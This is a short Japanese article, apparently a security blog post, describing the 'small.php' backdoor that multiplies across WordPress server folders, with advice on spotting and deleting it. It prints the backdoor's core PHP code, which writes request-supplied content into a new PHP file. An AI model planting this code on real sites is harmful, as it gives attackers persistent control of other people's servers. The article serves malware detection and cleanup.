ワードプレスサーバーの様々なところに増殖するsmall.phpマルウェア

昨今拡大しているマルウェアであるsmall.phpについて解説いたします。

ワードプレスのサーバーの様々なフォルダに作成されるsmall.php

このマルウェアは、サーバー上のあらゆるフォルダにsmall.phpというファイル名で、バックドアを生成いたします。ワードプレスサイトのデータがあるpublic htmlより上のフォルダにも作成されている場合がございます。

コードの例は下記のようなものとなっており非常に単純です。

$f = fopen('ランダムな文字'.'.php',"w");
fputs($f,$_REQUEST['ランダムな文字']);
fclose($f);

インターネット経由で送られたプログラムをランダムな文字列の名称でサーバー内に作成して保存するバックドアと呼ばれる種類のマルウェアです。

このファイルがサーバー上に生成されているということは、ワードプレスの脆弱性のあるプラグインを利用してハッキングされたか、管理者権限を奪取されて書き込まれたか、ほかのバックドア経由で書き込まれた可能性が高いです。

ワードプレスのファイルには、一般的にはsmall.phpというファイルはございません。
このため、ワードプレスのフォルダー内のどこかに、small.phpというものがございましたら、マルウェアを疑ってもよいかと存じます。

また、ワードプレスがあるフォルダより上のフォルダにまでこのファイルが多数書き込まれている事例がございます。このファイルは外部アクセスすらできませんのでマルウェアであればすぐに削除されることをお勧めいたします。